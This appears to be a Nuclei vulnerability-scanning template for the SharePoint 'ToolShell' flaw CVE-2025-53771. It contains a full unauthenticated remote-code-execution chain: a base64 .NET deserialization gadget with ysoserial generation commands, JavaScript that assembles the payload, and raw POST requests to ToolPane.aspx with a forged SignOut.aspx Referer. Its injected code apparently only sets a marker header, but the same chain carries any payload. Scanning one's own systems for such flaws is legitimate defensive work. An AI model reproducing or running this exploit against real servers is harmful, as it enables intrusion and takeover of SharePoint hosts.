id: CVE-2025-53771

info:
  name: Microsoft SharePoint Server - Authentication Bypass (ToolShell)
  author: _l0gg,SamIntruder,sfewer-r7,iamnoooob,pdresearch
  severity: medium
  description: |
    Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /_layouts/15/ToolPane.aspx with a forged Referer header (/_layouts/SignOut.aspx), attackers can bypass authentication mechanisms and gain unauthorized access to protected endpoints. This vulnerability is part of the ToolShell exploit chain and is a patch bypass for CVE-2025-49706. When chained with CVE-2025-53770 (deserialization vulnerability), it enables unauthenticated remote code execution on SharePoint Server.
  impact: |
    Unauthenticated attackers can bypass SharePoint authentication controls by spoofing the Referer header, gaining unauthorized access to protected administrative endpoints. When combined with CVE-2025-53770, this leads to full remote code execution and system compromise.
  remediation: |
    Apply the latest security patches from Microsoft released on July 21, 2025. Additionally, rotate ASP.NET MachineKey values (ValidationKey and DecryptionKey) on all SharePoint servers using Set-SPMachineKey or Update-SPMachineKey, then restart IIS.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53771
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771
    - https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k
    - https://orca.security/resources/blog/toolshell-sharepoint-exploit-cve-2025-53770-53771/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sharepoint_toolpane_rce.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-53771
    epss-score: 0.99911
    epss-percentile: 0.99967
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"sharepoint"
  tags: cve,cve2025,sharepoint,auth-bypass,microsoft,toolshell,vkev,vuln

variables:
  dataset_gadget_b64: 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'
  # ./ysoserial.exe -f LosFormatter -g XamlAssemblyLoadFromFile -c "Exploit.cs;System.dll;System.Web.dll"
  # HttpContext.Current.Response.Headers["X-Nuclei"] = "CVE-2025-53771";
  internal_gadget_b64: '[encoded data, 8316 characters]'
  # ./ysoserial.exe -f LosFormatter -g ActivitySurrogateSelectorFromFile -c "E.cs;System.dll;System.Web.dll;System.Configuration.dll"  --minify
  # HttpContext.Current.Response.Headers["X-Nuclei"] = "CVE-2025-53771";
  internal_gadget2_b64: '[encoded data, 12316 characters]'


flow: javascript() && http(1)
javascript:
  - code: |
          const bytess = require("nuclei/bytes");

          function u8(arr) { return new Uint8Array(arr); }

          // String → Buffer (binary-safe)
          function strToBuf(str) {
            var b = new bytes.Buffer();
            b.WriteString(str);
            return b;
          }
          // 7-bit int encoding (like .NET BinaryWriter)
          function encode7BitInt(n) {
            if (n === 0) return new bytes.Buffer(u8([0]));
            var tmp = [];
            while (n > 0) {
              var v = n & 0x7F;
              n >>>= 7;
              if (n > 0) v |= 0x80;
              tmp.push(v);
            }
            return new bytes.Buffer(u8(tmp));
          }
          // Replace all occurrences of needle(Buffer) with repl(Buffer) in hay(Buffer)
          function replaceAllBytes(hay, needle, repl) {
            var H = hay.Bytes();
            var N = needle.Bytes();
            var out = new bytes.Buffer();

            for (var i = 0; i < H.length;) {
              var match = true;
              for (var j = 0; j < N.length; j++) {
                if (i + j >= H.length || H[i + j] !== N[j]) { match = false; break; }
              }
              if (match) {
                out.Write(repl.Bytes());
                i += N.length;
              } else {
                out.Write(u8([H[i]]));     // <-- IMPORTANT: Uint8Array, not plain []
                i++;
              }
            }
            return out;
          }
          dataset_gadget_raw = strToBuf(atob(dg));
          dataset_gadget_raw1 = replaceAllBytes(
            dataset_gadget_raw,
            strToBuf("HAX"),
            strToBuf(ig)
          );
          dataset_gadget_raw2 = replaceAllBytes(
            dataset_gadget_raw,
            strToBuf("HAX"),
            strToBuf(ig2)
          );
          var oldLen = encode7BitInt(9163);
          var newLen = encode7BitInt(9163 - 7772 + ig.length);
          var newLen2 = encode7BitInt(9163 - 7772 + ig2.length);
          dataset_gadget_raw1 = replaceAllBytes(dataset_gadget_raw1, oldLen, newLen);
          dataset_gadget_raw2 = replaceAllBytes(dataset_gadget_raw2, oldLen, newLen2);
          (btoa(dataset_gadget_raw1.String()) + ":" + btoa(dataset_gadget_raw2.String()))

    args:
      ig: "{{internal_gadget_b64}}"
      ig2: "{{internal_gadget2_b64}}"
      dg: "{{dataset_gadget_b64}}"

http:
  - raw:
      - |
        POST /_layouts/15/ToolPane.aspx/?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: /_layouts/SignOut.aspx
        Accept-Encoding: gzip

        MSOTlPn_Uri={{Scheme}}%3a//{{Hostname}}/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22gizpnozlcjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjboucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3cgizpnozlcjfutvbn%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22{{urlencode(base64(gzip(base64_decode(replace_regex(javascript_response,":.*","")))))}}%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/gizpnozlcjfutvbn%3aUpdateProgress%3e%0a

      - |
        POST /_layouts/15/ToolPane.aspx/?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: /_layouts/SignOut.aspx
        Accept-Encoding: gzip

        MSOTlPn_Uri={{Scheme}}%3a//{{Hostname}}/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22gizpnozlcjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjboucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3cgizpnozlcjfutvbn%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22{{urlencode(base64(gzip(base64_decode(replace_regex(javascript_response,".*:","")))))}}%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/gizpnozlcjfutvbn%3aUpdateProgress%3e%0a

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(x_nuclei,"CVE-2025-53771")'
          - 'contains(body, "MSOTlPn_DWP")'
        condition: and
# digest: 4b0a00483046022100ce25b350627405b3bbbe9e0c59f4a0bd2a1c57674729ad8f310f161d9b9f6d0e022100e8aa0549d85c77017fc1353f82acc85701a30f4b6732d82c558dce81af2e4685:922c64590222798bb761d5b6d8e72950